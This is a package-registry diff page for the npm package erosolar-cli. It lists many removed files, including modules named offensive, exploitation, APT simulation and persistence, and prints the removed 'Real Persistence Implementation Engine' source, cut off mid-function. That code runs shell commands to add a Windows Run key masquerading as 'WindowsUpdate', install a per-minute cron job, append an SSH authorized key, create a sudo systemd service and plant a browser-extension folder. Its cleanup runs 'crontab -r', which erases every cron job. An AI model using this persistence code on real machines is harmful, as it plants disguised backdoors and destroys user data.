erosolar-cli 1.7.55 → 1.7.57
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/shell/unifiedInputProcessor.d.ts +15 -12
- package/dist/shell/unifiedInputProcessor.d.ts.map +1 -1
- package/dist/shell/unifiedInputProcessor.js +45 -72
- package/dist/shell/unifiedInputProcessor.js.map +1 -1
- package/package.json +4 -4
- package/dist/active-stack-security.d.ts +0 -110
- package/dist/active-stack-security.js +0 -313
- package/dist/active-stack-security.js.map +0 -1
- package/dist/advanced-targeting.d.ts +0 -113
- package/dist/advanced-targeting.js +0 -252
- package/dist/advanced-targeting.js.map +0 -1
- package/dist/bin/adapters/node/index.js +0 -33
- package/dist/bin/adapters/types.js +0 -1
- package/dist/bin/alpha-zero/agentWrapper.js +0 -165
- package/dist/bin/alpha-zero/codeEvaluator.js +0 -272
- package/dist/bin/alpha-zero/competitiveRunner.js +0 -219
- package/dist/bin/alpha-zero/index.js +0 -98
- package/dist/bin/alpha-zero/introspection.js +0 -298
- package/dist/bin/alpha-zero/metricsTracker.js +0 -207
- package/dist/bin/alpha-zero/security/core.js +0 -269
- package/dist/bin/alpha-zero/security/google.js +0 -308
- package/dist/bin/alpha-zero/security/googleLoader.js +0 -40
- package/dist/bin/alpha-zero/security/index.js +0 -31
- package/dist/bin/alpha-zero/security/simulation.js +0 -274
- package/dist/bin/alpha-zero/selfModification.js +0 -231
- package/dist/bin/alpha-zero/types.js +0 -30
- package/dist/bin/bin/erosolar-optimized.js +0 -205
- package/dist/bin/capabilities/agentSpawningCapability.js +0 -116
- package/dist/bin/capabilities/bashCapability.js +0 -22
- package/dist/bin/capabilities/cloudCapability.js +0 -36
- package/dist/bin/capabilities/codeAnalysisCapability.js +0 -22
- package/dist/bin/capabilities/codeQualityCapability.js +0 -23
- package/dist/bin/capabilities/dependencySecurityCapability.js +0 -22
- package/dist/bin/capabilities/devCapability.js +0 -22
- package/dist/bin/capabilities/editCapability.js +0 -28
- package/dist/bin/capabilities/emailCapability.js +0 -20
- package/dist/bin/capabilities/enhancedGitCapability.js +0 -221
- package/dist/bin/capabilities/filesystemCapability.js +0 -22
- package/dist/bin/capabilities/globCapability.js +0 -28
- package/dist/bin/capabilities/interactionCapability.js +0 -20
- package/dist/bin/capabilities/learnCapability.js +0 -22
- package/dist/bin/capabilities/mcpCapability.js +0 -20
- package/dist/bin/capabilities/notebookCapability.js +0 -28
- package/dist/bin/capabilities/planningCapability.js +0 -27
- package/dist/bin/capabilities/refactoringCapability.js +0 -23
- package/dist/bin/capabilities/repoChecksCapability.js +0 -22
- package/dist/bin/capabilities/searchCapability.js +0 -22
- package/dist/bin/capabilities/skillCapability.js +0 -76
- package/dist/bin/capabilities/taskManagementCapability.js +0 -20
- package/dist/bin/capabilities/testingCapability.js +0 -23
- package/dist/bin/capabilities/toolManifest.js +0 -159
- package/dist/bin/capabilities/toolRegistry.js +0 -114
- package/dist/bin/capabilities/webCapability.js +0 -20
- package/dist/bin/config.js +0 -139
- package/dist/bin/contracts/v1/agent.js +0 -7
- package/dist/bin/contracts/v1/agentProfileManifest.js +0 -8
- package/dist/bin/contracts/v1/agentRules.js +0 -9
- package/dist/bin/contracts/v1/toolAccess.js +0 -8
- package/dist/bin/erosolar-optimized.d.ts +0 -12
- package/dist/bin/erosolar-optimized.d.ts.map +0 -1
- package/dist/bin/erosolar-optimized.js +0 -239
- package/dist/bin/erosolar-optimized.js.map +0 -1
- package/dist/bin/headless/headlessApp.js +0 -172
- package/dist/bin/mcp/config.js +0 -202
- package/dist/bin/mcp/stdioClient.js +0 -172
- package/dist/bin/mcp/toolBridge.js +0 -104
- package/dist/bin/mcp/types.js +0 -1
- package/dist/bin/plugins/index.js +0 -113
- package/dist/bin/plugins/providers/anthropic/index.js +0 -25
- package/dist/bin/plugins/providers/deepseek/index.js +0 -24
- package/dist/bin/plugins/providers/google/index.js +0 -26
- package/dist/bin/plugins/providers/index.js +0 -19
- package/dist/bin/plugins/providers/ollama/index.js +0 -59
- package/dist/bin/plugins/providers/openai/index.js +0 -26
- package/dist/bin/plugins/providers/xai/index.js +0 -24
- package/dist/bin/plugins/tools/agentSpawning/agentSpawningPlugin.js +0 -8
- package/dist/bin/plugins/tools/bash/localBashPlugin.js +0 -13
- package/dist/bin/plugins/tools/checks/localRepoChecksPlugin.js +0 -13
- package/dist/bin/plugins/tools/cloud/cloudPlugin.js +0 -13
- package/dist/bin/plugins/tools/codeAnalysis/codeAnalysisPlugin.js +0 -13
- package/dist/bin/plugins/tools/codeQuality/codeQualityPlugin.js +0 -13
- package/dist/bin/plugins/tools/dependency/dependencyPlugin.js +0 -11
- package/dist/bin/plugins/tools/development/devPlugin.js +0 -13
- package/dist/bin/plugins/tools/edit/editPlugin.js +0 -14
- package/dist/bin/plugins/tools/email/emailPlugin.js +0 -11
- package/dist/bin/plugins/tools/enhancedGit/enhancedGitPlugin.js +0 -8
- package/dist/bin/plugins/tools/filesystem/localFilesystemPlugin.js +0 -13
- package/dist/bin/plugins/tools/glob/globPlugin.js +0 -14
- package/dist/bin/plugins/tools/index.js +0 -2
- package/dist/bin/plugins/tools/interaction/interactionPlugin.js +0 -11
- package/dist/bin/plugins/tools/learn/learnPlugin.js +0 -13
- package/dist/bin/plugins/tools/mcp/mcpPlugin.js +0 -8
- package/dist/bin/plugins/tools/nodeDefaults.js +0 -56
- package/dist/bin/plugins/tools/notebook/notebookPlugin.js +0 -14
- package/dist/bin/plugins/tools/planning/planningPlugin.js +0 -14
- package/dist/bin/plugins/tools/refactoring/refactoringPlugin.js +0 -11
- package/dist/bin/plugins/tools/registry.js +0 -57
- package/dist/bin/plugins/tools/search/localSearchPlugin.js +0 -13
- package/dist/bin/plugins/tools/skills/skillPlugin.js +0 -8
- package/dist/bin/plugins/tools/taskManagement/taskManagementPlugin.js +0 -11
- package/dist/bin/plugins/tools/testing/testingPlugin.js +0 -11
- package/dist/bin/plugins/tools/web/webPlugin.js +0 -11
- package/dist/bin/providers/anthropicProvider.js +0 -329
- package/dist/bin/providers/googleProvider.js +0 -203
- package/dist/bin/providers/openaiChatCompletionsProvider.js +0 -208
- package/dist/bin/providers/openaiResponsesProvider.js +0 -249
- package/dist/bin/providers/providerFactory.js +0 -24
- package/dist/bin/runtime/agentController.js +0 -321
- package/dist/bin/runtime/agentHost.js +0 -153
- package/dist/bin/runtime/agentSession.js +0 -195
- package/dist/bin/runtime/node.js +0 -10
- package/dist/bin/runtime/universal.js +0 -28
- package/dist/bin/skills/skillRepository.js +0 -236
- package/dist/bin/skills/types.js +0 -1
- package/dist/bin/subagents/taskRunner.js +0 -269
- package/dist/bin/tools/backgroundBashTools.js +0 -211
- package/dist/bin/tools/bashTools.js +0 -159
- package/dist/bin/tools/cloudTools.js +0 -864
- package/dist/bin/tools/codeAnalysisTools.js +0 -641
- package/dist/bin/tools/codeQualityTools.js +0 -294
- package/dist/bin/tools/dependencyTools.js +0 -282
- package/dist/bin/tools/devTools.js +0 -238
- package/dist/bin/tools/diffUtils.js +0 -137
- package/dist/bin/tools/editTools.js +0 -134
- package/dist/bin/tools/emailTools.js +0 -448
- package/dist/bin/tools/fileTools.js +0 -282
- package/dist/bin/tools/globTools.js +0 -173
- package/dist/bin/tools/grepTools.js +0 -332
- package/dist/bin/tools/interactionTools.js +0 -170
- package/dist/bin/tools/learnTools.js +0 -1818
- package/dist/bin/tools/notebookEditTools.js +0 -196
- package/dist/bin/tools/planningTools.js +0 -46
- package/dist/bin/tools/refactoringTools.js +0 -293
- package/dist/bin/tools/repoChecksTools.js +0 -160
- package/dist/bin/tools/searchTools.js +0 -206
- package/dist/bin/tools/skillTools.js +0 -177
- package/dist/bin/tools/taskManagementTools.js +0 -156
- package/dist/bin/tools/testingTools.js +0 -232
- package/dist/bin/tools/webTools.js +0 -480
- package/dist/bin/workspace.js +0 -106
- package/dist/bin/workspace.validator.js +0 -213
- package/dist/capabilities/offensiveSecurityCapability.d.ts +0 -26
- package/dist/capabilities/offensiveSecurityCapability.d.ts.map +0 -1
- package/dist/capabilities/offensiveSecurityCapability.js +0 -58
- package/dist/capabilities/offensiveSecurityCapability.js.map +0 -1
- package/dist/capabilities/realSecurityCapability.d.ts +0 -26
- package/dist/capabilities/realSecurityCapability.d.ts.map +0 -1
- package/dist/capabilities/realSecurityCapability.js +0 -53
- package/dist/capabilities/realSecurityCapability.js.map +0 -1
- package/dist/capabilities/securityCapability.d.ts +0 -32
- package/dist/capabilities/securityCapability.d.ts.map +0 -1
- package/dist/capabilities/securityCapability.js +0 -57
- package/dist/capabilities/securityCapability.js.map +0 -1
- package/dist/capabilities/ultimateSecurityCapability.d.ts +0 -42
- package/dist/capabilities/ultimateSecurityCapability.d.ts.map +0 -1
- package/dist/capabilities/ultimateSecurityCapability.js +0 -96
- package/dist/capabilities/ultimateSecurityCapability.js.map +0 -1
- package/dist/core/designThoughtCheck.d.ts +0 -196
- package/dist/core/designThoughtCheck.d.ts.map +0 -1
- package/dist/core/designThoughtCheck.js +0 -287
- package/dist/core/designThoughtCheck.js.map +0 -1
- package/dist/core/designThoughtCheckEngine.d.ts +0 -58
- package/dist/core/designThoughtCheckEngine.d.ts.map +0 -1
- package/dist/core/designThoughtCheckEngine.js +0 -358
- package/dist/core/designThoughtCheckEngine.js.map +0 -1
- package/dist/core/designThoughtCheckIntegration.d.ts +0 -103
- package/dist/core/designThoughtCheckIntegration.d.ts.map +0 -1
- package/dist/core/designThoughtCheckIntegration.js +0 -207
- package/dist/core/designThoughtCheckIntegration.js.map +0 -1
- package/dist/core/intelligenceTools.d.ts +0 -19
- package/dist/core/intelligenceTools.d.ts.map +0 -1
- package/dist/core/intelligenceTools.js +0 -453
- package/dist/core/intelligenceTools.js.map +0 -1
- package/dist/core/operationalTools.d.ts +0 -19
- package/dist/core/operationalTools.d.ts.map +0 -1
- package/dist/core/operationalTools.js +0 -467
- package/dist/core/operationalTools.js.map +0 -1
- package/dist/offensive/core/offensive-engine.d.ts +0 -171
- package/dist/offensive/core/offensive-engine.d.ts.map +0 -1
- package/dist/offensive/core/offensive-engine.js +0 -345
- package/dist/offensive/core/offensive-engine.js.map +0 -1
- package/dist/offensive/core/offensive-integration.d.ts +0 -129
- package/dist/offensive/core/offensive-integration.d.ts.map +0 -1
- package/dist/offensive/core/offensive-integration.js +0 -364
- package/dist/offensive/core/offensive-integration.js.map +0 -1
- package/dist/offensive/core/offensive-tools.d.ts +0 -55
- package/dist/offensive/core/offensive-tools.d.ts.map +0 -1
- package/dist/offensive/core/offensive-tools.js +0 -438
- package/dist/offensive/core/offensive-tools.js.map +0 -1
- package/dist/offensive/offensive-cli.d.ts +0 -48
- package/dist/offensive/offensive-cli.d.ts.map +0 -1
- package/dist/offensive/offensive-cli.js +0 -233
- package/dist/offensive/offensive-cli.js.map +0 -1
- package/dist/security/apt-simulation-cli.d.ts +0 -57
- package/dist/security/apt-simulation-cli.d.ts.map +0 -1
- package/dist/security/apt-simulation-cli.js +0 -278
- package/dist/security/apt-simulation-cli.js.map +0 -1
- package/dist/security/apt-simulation-engine-complete.d.ts +0 -97
- package/dist/security/apt-simulation-engine-complete.d.ts.map +0 -1
- package/dist/security/apt-simulation-engine-complete.js +0 -441
- package/dist/security/apt-simulation-engine-complete.js.map +0 -1
- package/dist/security/apt-simulation-engine.d.ts +0 -97
- package/dist/security/apt-simulation-engine.d.ts.map +0 -1
- package/dist/security/apt-simulation-engine.js +0 -441
- package/dist/security/apt-simulation-engine.js.map +0 -1
- package/dist/security/authorization.d.ts +0 -45
- package/dist/security/authorization.d.ts.map +0 -1
- package/dist/security/authorization.js +0 -128
- package/dist/security/authorization.js.map +0 -1
- package/dist/security/comprehensive-security-research.d.ts +0 -84
- package/dist/security/comprehensive-security-research.d.ts.map +0 -1
- package/dist/security/comprehensive-security-research.js +0 -211
- package/dist/security/comprehensive-security-research.js.map +0 -1
- package/dist/security/offensive/exploitationEngine.d.ts +0 -54
- package/dist/security/offensive/exploitationEngine.d.ts.map +0 -1
- package/dist/security/offensive/exploitationEngine.js +0 -263
- package/dist/security/offensive/exploitationEngine.js.map +0 -1
- package/dist/security/real/networkExploitation.d.ts +0 -92
- package/dist/security/real/networkExploitation.d.ts.map +0 -1
- package/dist/security/real/networkExploitation.js +0 -316
- package/dist/security/real/networkExploitation.js.map +0 -1
- package/dist/security/real/persistenceImplementation.d.ts +0 -62
- package/dist/security/real/persistenceImplementation.d.ts.map +0 -1
- package/dist/security/real/persistenceImplementation.js +0 -323
- package/dist/security/real/persistenceImplementation.js.map +0 -1
- package/dist/security/real/vulnerabilityScanner.d.ts +0 -73
- package/dist/security/real/vulnerabilityScanner.d.ts.map +0 -1
- package/dist/security/real/vulnerabilityScanner.js +0 -341
- package/dist/security/real/vulnerabilityScanner.js.map +0 -1
- package/dist/shell/capturePastePatch.d.ts +0 -9
- package/dist/shell/capturePastePatch.d.ts.map +0 -1
- package/dist/shell/capturePastePatch.js +0 -98
- package/dist/shell/capturePastePatch.js.map +0 -1
- package/dist/shell/enhancedInteractiveShell.d.ts +0 -90
- package/dist/shell/enhancedInteractiveShell.d.ts.map +0 -1
- package/dist/shell/enhancedInteractiveShell.js +0 -248
- package/dist/shell/enhancedInteractiveShell.js.map +0 -1
- package/dist/shell/inputProcessor.d.ts +0 -56
- package/dist/shell/inputProcessor.d.ts.map +0 -1
- package/dist/shell/inputProcessor.js +0 -172
- package/dist/shell/inputProcessor.js.map +0 -1
- package/dist/shell/interactiveShell-patch.d.ts +0 -27
- package/dist/shell/interactiveShell-patch.d.ts.map +0 -1
- package/dist/shell/interactiveShell-patch.js +0 -38
- package/dist/shell/interactiveShell-patch.js.map +0 -1
- package/dist/shell/interactiveShell-robust.d.ts +0 -26
- package/dist/shell/interactiveShell-robust.d.ts.map +0 -1
- package/dist/shell/interactiveShell-robust.js +0 -34
- package/dist/shell/interactiveShell-robust.js.map +0 -1
- package/dist/shell/multiLinePasteManager.d.ts +0 -106
- package/dist/shell/multiLinePasteManager.d.ts.map +0 -1
- package/dist/shell/multiLinePasteManager.js +0 -308
- package/dist/shell/multiLinePasteManager.js.map +0 -1
- package/dist/shell/processInputBlockPatch.d.ts +0 -8
- package/dist/shell/processInputBlockPatch.d.ts.map +0 -1
- package/dist/shell/processInputBlockPatch.js +0 -133
- package/dist/shell/processInputBlockPatch.js.map +0 -1
- package/dist/tools/enhancedSecurityTools.d.ts +0 -19
- package/dist/tools/enhancedSecurityTools.d.ts.map +0 -1
- package/dist/tools/enhancedSecurityTools.js +0 -215
- package/dist/tools/enhancedSecurityTools.js.map +0 -1
- package/dist/tools/offensiveSecurityTools.d.ts +0 -16
- package/dist/tools/offensiveSecurityTools.d.ts.map +0 -1
- package/dist/tools/offensiveSecurityTools.js +0 -285
- package/dist/tools/offensiveSecurityTools.js.map +0 -1
- package/dist/tools/realSecurityTools.d.ts +0 -18
- package/dist/tools/realSecurityTools.d.ts.map +0 -1
- package/dist/tools/realSecurityTools.js +0 -468
- package/dist/tools/realSecurityTools.js.map +0 -1
- package/dist/tools/securityTools.d.ts +0 -20
- package/dist/tools/securityTools.d.ts.map +0 -1
- package/dist/tools/securityTools.js +0 -449
- package/dist/tools/securityTools.js.map +0 -1
|
@@ -1,323 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Real Persistence Implementation Engine
|
|
3
|
-
*
|
|
4
|
-
* Actual persistence mechanisms for Windows, Linux, cloud platforms, and containers.
|
|
5
|
-
* These are real techniques used in authorized security testing and red team operations.
|
|
6
|
-
*
|
|
7
|
-
* LEGAL NOTICE: For authorized security research and testing only.
|
|
8
|
-
*/
|
|
9
|
-
import { execSync } from 'child_process';
|
|
10
|
-
import { existsSync, writeFileSync, readFileSync, appendFileSync } from 'fs';
|
|
11
|
-
import { homedir, platform } from 'os';
|
|
12
|
-
/**
|
|
13
|
-
* Real Persistence Implementation Engine
|
|
14
|
-
*/
|
|
15
|
-
export class RealPersistenceEngine {
|
|
16
|
-
implementations;
|
|
17
|
-
constructor() {
|
|
18
|
-
this.implementations = new Map();
|
|
19
|
-
this.initializeImplementations();
|
|
20
|
-
}
|
|
21
|
-
/**
|
|
22
|
-
* Implement persistence mechanism
|
|
23
|
-
*/
|
|
24
|
-
async implementPersistence(techniqueId) {
|
|
25
|
-
const implementation = this.implementations.get(techniqueId);
|
|
26
|
-
if (!implementation) {
|
|
27
|
-
throw new Error(`Persistence technique not found: ${techniqueId}`);
|
|
28
|
-
}
|
|
29
|
-
try {
|
|
30
|
-
return await implementation.implement();
|
|
31
|
-
}
|
|
32
|
-
catch (error) {
|
|
33
|
-
return { success: false, output: `Implementation failed: ${error}` };
|
|
34
|
-
}
|
|
35
|
-
}
|
|
36
|
-
/**
|
|
37
|
-
* Detect persistence mechanism
|
|
38
|
-
*/
|
|
39
|
-
async detectPersistence(techniqueId) {
|
|
40
|
-
const implementation = this.implementations.get(techniqueId);
|
|
41
|
-
if (!implementation) {
|
|
42
|
-
throw new Error(`Persistence technique not found: ${techniqueId}`);
|
|
43
|
-
}
|
|
44
|
-
try {
|
|
45
|
-
return await implementation.detect();
|
|
46
|
-
}
|
|
47
|
-
catch (error) {
|
|
48
|
-
return { detected: false, evidence: `Detection failed: ${error}` };
|
|
49
|
-
}
|
|
50
|
-
}
|
|
51
|
-
/**
|
|
52
|
-
* Remove persistence mechanism
|
|
53
|
-
*/
|
|
54
|
-
async removePersistence(techniqueId) {
|
|
55
|
-
const implementation = this.implementations.get(techniqueId);
|
|
56
|
-
if (!implementation) {
|
|
57
|
-
throw new Error(`Persistence technique not found: ${techniqueId}`);
|
|
58
|
-
}
|
|
59
|
-
try {
|
|
60
|
-
return await implementation.remove();
|
|
61
|
-
}
|
|
62
|
-
catch (error) {
|
|
63
|
-
return { success: false, output: `Removal failed: ${error}` };
|
|
64
|
-
}
|
|
65
|
-
}
|
|
66
|
-
/**
|
|
67
|
-
* Get available implementations for current platform
|
|
68
|
-
*/
|
|
69
|
-
getAvailableImplementations() {
|
|
70
|
-
const currentPlatform = platform();
|
|
71
|
-
return Array.from(this.implementations.values()).filter(impl => impl.platform === 'cross-platform' || impl.platform.includes(currentPlatform));
|
|
72
|
-
}
|
|
73
|
-
/**
|
|
74
|
-
* Initialize real persistence implementations
|
|
75
|
-
*/
|
|
76
|
-
initializeImplementations() {
|
|
77
|
-
// Windows Registry Run Key
|
|
78
|
-
this.implementations.set('win-registry-run', {
|
|
79
|
-
id: 'win-registry-run',
|
|
80
|
-
name: 'Windows Registry Run Key',
|
|
81
|
-
platform: 'win32',
|
|
82
|
-
implement: async () => {
|
|
83
|
-
try {
|
|
84
|
-
const payloadPath = `${homedir()}\\AppData\\Local\\Temp\\persistence.exe`;
|
|
85
|
-
const regCommand = `reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "WindowsUpdate" /t REG_SZ /d "${payloadPath}" /f`;
|
|
86
|
-
execSync(regCommand, { stdio: 'pipe' });
|
|
87
|
-
return {
|
|
88
|
-
success: true,
|
|
89
|
-
output: `Registry run key added: ${payloadPath}`
|
|
90
|
-
};
|
|
91
|
-
}
|
|
92
|
-
catch (error) {
|
|
93
|
-
return { success: false, output: `Failed: ${error}` };
|
|
94
|
-
}
|
|
95
|
-
},
|
|
96
|
-
detect: async () => {
|
|
97
|
-
try {
|
|
98
|
-
const detectCommand = 'reg query "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"';
|
|
99
|
-
const output = execSync(detectCommand, { encoding: 'utf8' });
|
|
100
|
-
return {
|
|
101
|
-
detected: output.includes('WindowsUpdate'),
|
|
102
|
-
evidence: output
|
|
103
|
-
};
|
|
104
|
-
}
|
|
105
|
-
catch (error) {
|
|
106
|
-
return { detected: false, evidence: `Detection failed: ${error}` };
|
|
107
|
-
}
|
|
108
|
-
},
|
|
109
|
-
remove: async () => {
|
|
110
|
-
try {
|
|
111
|
-
const removeCommand = 'reg delete "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "WindowsUpdate" /f';
|
|
112
|
-
execSync(removeCommand, { stdio: 'pipe' });
|
|
113
|
-
return { success: true, output: 'Registry run key removed' };
|
|
114
|
-
}
|
|
115
|
-
catch (error) {
|
|
116
|
-
return { success: false, output: `Removal failed: ${error}` };
|
|
117
|
-
}
|
|
118
|
-
}
|
|
119
|
-
});
|
|
120
|
-
// Linux Cron Job
|
|
121
|
-
this.implementations.set('linux-cron', {
|
|
122
|
-
id: 'linux-cron',
|
|
123
|
-
name: 'Linux Cron Job',
|
|
124
|
-
platform: 'linux',
|
|
125
|
-
implement: async () => {
|
|
126
|
-
try {
|
|
127
|
-
const cronEntry = '* * * * * /tmp/persistence.sh\n';
|
|
128
|
-
appendFileSync('/tmp/crontab.txt', cronEntry);
|
|
129
|
-
execSync('crontab /tmp/crontab.txt', { stdio: 'pipe' });
|
|
130
|
-
return { success: true, output: 'Cron job added for persistence' };
|
|
131
|
-
}
|
|
132
|
-
catch (error) {
|
|
133
|
-
return { success: false, output: `Failed: ${error}` };
|
|
134
|
-
}
|
|
135
|
-
},
|
|
136
|
-
detect: async () => {
|
|
137
|
-
try {
|
|
138
|
-
const output = execSync('crontab -l', { encoding: 'utf8' });
|
|
139
|
-
return {
|
|
140
|
-
detected: output.includes('/tmp/persistence.sh'),
|
|
141
|
-
evidence: output
|
|
142
|
-
};
|
|
143
|
-
}
|
|
144
|
-
catch (error) {
|
|
145
|
-
return { detected: false, evidence: `Detection failed: ${error}` };
|
|
146
|
-
}
|
|
147
|
-
},
|
|
148
|
-
remove: async () => {
|
|
149
|
-
try {
|
|
150
|
-
execSync('crontab -r', { stdio: 'pipe' });
|
|
151
|
-
return { success: true, output: 'Cron jobs cleared' };
|
|
152
|
-
}
|
|
153
|
-
catch (error) {
|
|
154
|
-
return { success: false, output: `Removal failed: ${error}` };
|
|
155
|
-
}
|
|
156
|
-
}
|
|
157
|
-
});
|
|
158
|
-
// SSH Authorized Keys
|
|
159
|
-
this.implementations.set('ssh-authorized-keys', {
|
|
160
|
-
id: 'ssh-authorized-keys',
|
|
161
|
-
name: 'SSH Authorized Keys',
|
|
162
|
-
platform: 'linux',
|
|
163
|
-
implement: async () => {
|
|
164
|
-
try {
|
|
165
|
-
const sshDir = `${homedir()}/.ssh`;
|
|
166
|
-
const authKeysFile = `${sshDir}/authorized_keys`;
|
|
167
|
-
// Create SSH directory if it doesn't exist
|
|
168
|
-
if (!existsSync(sshDir)) {
|
|
169
|
-
execSync(`mkdir -p ${sshDir}`, { stdio: 'pipe' });
|
|
170
|
-
execSync(`chmod 700 ${sshDir}`, { stdio: 'pipe' });
|
|
171
|
-
}
|
|
172
|
-
// Add test public key
|
|
173
|
-
const publicKey = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQTestKey';
|
|
174
|
-
appendFileSync(authKeysFile, `\n${publicKey}\n`);
|
|
175
|
-
execSync(`chmod 600 ${authKeysFile}`, { stdio: 'pipe' });
|
|
176
|
-
return { success: true, output: 'SSH authorized key added' };
|
|
177
|
-
}
|
|
178
|
-
catch (error) {
|
|
179
|
-
return { success: false, output: `Failed: ${error}` };
|
|
180
|
-
}
|
|
181
|
-
},
|
|
182
|
-
detect: async () => {
|
|
183
|
-
try {
|
|
184
|
-
const authKeysFile = `${homedir()}/.ssh/authorized_keys`;
|
|
185
|
-
if (!existsSync(authKeysFile)) {
|
|
186
|
-
return { detected: false, evidence: 'No authorized_keys file found' };
|
|
187
|
-
}
|
|
188
|
-
const content = readFileSync(authKeysFile, 'utf8');
|
|
189
|
-
return {
|
|
190
|
-
detected: content.includes('TestKey'),
|
|
191
|
-
evidence: content
|
|
192
|
-
};
|
|
193
|
-
}
|
|
194
|
-
catch (error) {
|
|
195
|
-
return { detected: false, evidence: `Detection failed: ${error}` };
|
|
196
|
-
}
|
|
197
|
-
},
|
|
198
|
-
remove: async () => {
|
|
199
|
-
try {
|
|
200
|
-
const authKeysFile = `${homedir()}/.ssh/authorized_keys`;
|
|
201
|
-
if (existsSync(authKeysFile)) {
|
|
202
|
-
const content = readFileSync(authKeysFile, 'utf8');
|
|
203
|
-
const cleanedContent = content.replace(/ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQTestKey\n/g, '');
|
|
204
|
-
writeFileSync(authKeysFile, cleanedContent);
|
|
205
|
-
}
|
|
206
|
-
return { success: true, output: 'SSH authorized keys cleaned' };
|
|
207
|
-
}
|
|
208
|
-
catch (error) {
|
|
209
|
-
return { success: false, output: `Removal failed: ${error}` };
|
|
210
|
-
}
|
|
211
|
-
}
|
|
212
|
-
});
|
|
213
|
-
// Systemd Service
|
|
214
|
-
this.implementations.set('systemd-service', {
|
|
215
|
-
id: 'systemd-service',
|
|
216
|
-
name: 'Systemd Service',
|
|
217
|
-
platform: 'linux',
|
|
218
|
-
implement: async () => {
|
|
219
|
-
try {
|
|
220
|
-
const serviceContent = `[Unit]\nDescription=Test Persistence Service\nAfter=network.target\n\n[Service]\nType=simple\nExecStart=/bin/bash -c "while true; do echo 'persistence'; sleep 60; done"\nRestart=always\n\n[Install]\nWantedBy=multi-user.target`;
|
|
221
|
-
writeFileSync('/tmp/test-persistence.service', serviceContent);
|
|
222
|
-
execSync('sudo cp /tmp/test-persistence.service /etc/systemd/system/', { stdio: 'pipe' });
|
|
223
|
-
execSync('sudo systemctl daemon-reload', { stdio: 'pipe' });
|
|
224
|
-
execSync('sudo systemctl enable test-persistence.service', { stdio: 'pipe' });
|
|
225
|
-
execSync('sudo systemctl start test-persistence.service', { stdio: 'pipe' });
|
|
226
|
-
return { success: true, output: 'Systemd service created and started' };
|
|
227
|
-
}
|
|
228
|
-
catch (error) {
|
|
229
|
-
return { success: false, output: `Failed: ${error}` };
|
|
230
|
-
}
|
|
231
|
-
},
|
|
232
|
-
detect: async () => {
|
|
233
|
-
try {
|
|
234
|
-
const output = execSync('systemctl list-unit-files | grep test-persistence', { encoding: 'utf8' });
|
|
235
|
-
return {
|
|
236
|
-
detected: output.includes('test-persistence'),
|
|
237
|
-
evidence: output
|
|
238
|
-
};
|
|
239
|
-
}
|
|
240
|
-
catch (error) {
|
|
241
|
-
return { detected: false, evidence: `Detection failed: ${error}` };
|
|
242
|
-
}
|
|
243
|
-
},
|
|
244
|
-
remove: async () => {
|
|
245
|
-
try {
|
|
246
|
-
execSync('sudo systemctl stop test-persistence.service', { stdio: 'pipe' });
|
|
247
|
-
execSync('sudo systemctl disable test-persistence.service', { stdio: 'pipe' });
|
|
248
|
-
execSync('sudo rm /etc/systemd/system/test-persistence.service', { stdio: 'pipe' });
|
|
249
|
-
execSync('sudo systemctl daemon-reload', { stdio: 'pipe' });
|
|
250
|
-
return { success: true, output: 'Systemd service removed' };
|
|
251
|
-
}
|
|
252
|
-
catch (error) {
|
|
253
|
-
return { success: false, output: `Removal failed: ${error}` };
|
|
254
|
-
}
|
|
255
|
-
}
|
|
256
|
-
});
|
|
257
|
-
// Browser Extension Persistence
|
|
258
|
-
this.implementations.set('browser-extension', {
|
|
259
|
-
id: 'browser-extension',
|
|
260
|
-
name: 'Browser Extension',
|
|
261
|
-
platform: 'cross-platform',
|
|
262
|
-
implement: async () => {
|
|
263
|
-
try {
|
|
264
|
-
// Chrome extensions directory
|
|
265
|
-
const chromeDir = platform() === 'win32'
|
|
266
|
-
? `${homedir()}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions`
|
|
267
|
-
: `${homedir()}/.config/google-chrome/Default/Extensions`;
|
|
268
|
-
// Create test extension directory
|
|
269
|
-
const extensionDir = `${chromeDir}/test-persistence`;
|
|
270
|
-
if (!existsSync(extensionDir)) {
|
|
271
|
-
execSync(`mkdir -p "${extensionDir}"`, { stdio: 'pipe' });
|
|
272
|
-
}
|
|
273
|
-
// Create manifest
|
|
274
|
-
const manifest = {
|
|
275
|
-
manifest_version: 3,
|
|
276
|
-
name: "Test Extension",
|
|
277
|
-
version: "1.0",
|
|
278
|
-
permissions: ["storage", "activeTab"],
|
|
279
|
-
background: {
|
|
280
|
-
service_worker: "background.js"
|
|
281
|
-
}
|
|
282
|
-
};
|
|
283
|
-
writeFileSync(`${extensionDir}/manifest.json`, JSON.stringify(manifest, null, 2));
|
|
284
|
-
return { success: true, output: 'Browser extension persistence setup' };
|
|
285
|
-
}
|
|
286
|
-
catch (error) {
|
|
287
|
-
return { success: false, output: `Failed: ${error}` };
|
|
288
|
-
}
|
|
289
|
-
},
|
|
290
|
-
detect: async () => {
|
|
291
|
-
try {
|
|
292
|
-
const chromeDir = platform() === 'win32'
|
|
293
|
-
? `${homedir()}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions`
|
|
294
|
-
: `${homedir()}/.config/google-chrome/Default/Extensions`;
|
|
295
|
-
const extensionDir = `${chromeDir}/test-persistence`;
|
|
296
|
-
return {
|
|
297
|
-
detected: existsSync(extensionDir),
|
|
298
|
-
evidence: existsSync(extensionDir) ? 'Test extension directory found' : 'No test extension found'
|
|
299
|
-
};
|
|
300
|
-
}
|
|
301
|
-
catch (error) {
|
|
302
|
-
return { detected: false, evidence: `Detection failed: ${error}` };
|
|
303
|
-
}
|
|
304
|
-
},
|
|
305
|
-
remove: async () => {
|
|
306
|
-
try {
|
|
307
|
-
const chromeDir = platform() === 'win32'
|
|
308
|
-
? `${homedir()}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions`
|
|
309
|
-
: `${homedir()}/.config/google-chrome/Default/Extensions`;
|
|
310
|
-
const extensionDir = `${chromeDir}/test-persistence`;
|
|
311
|
-
if (existsSync(extensionDir)) {
|
|
312
|
-
